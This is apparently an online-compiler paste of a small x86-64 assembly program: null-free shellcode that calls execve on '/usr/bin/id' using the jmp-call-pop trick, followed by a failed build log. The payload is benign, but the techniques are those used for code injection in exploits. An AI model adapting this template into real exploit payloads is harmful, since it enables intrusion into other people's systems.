fork download
  1. BITS 64
  2.  
  3. section .text
  4. global start
  5. start:
  6. jmp string
  7. exec:
  8. pop rdi ; grab /usr/bin/id's address
  9. mov r9, 0x311114c ; = syscall + 0x11111111
  10. mov r8, 0x1111111 ; using subtraction to get it null free
  11. sub r9, r8 ; = 0x200003b, execve syscall
  12. mov rax, r9 ; put it in rax for the syscall
  13. xor rdx, rdx ; nulls to delimit the binary string
  14. push rdx ; push nulls
  15. push rdi ; then push string
  16. mov rsi, rsp ; idk what this does
  17. syscall ; BAM!!
  18. string:
  19. call exec ; call exec so we have the ret address pointing to the string
  20. db '/usr/bin/id' ; if the string's not on the end of the prog, you get bus errors
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.asm:1: error: elf32 output format does not support 64-bit code
ld: cannot find prog.o: No such file or directory
stdout
Standard output is empty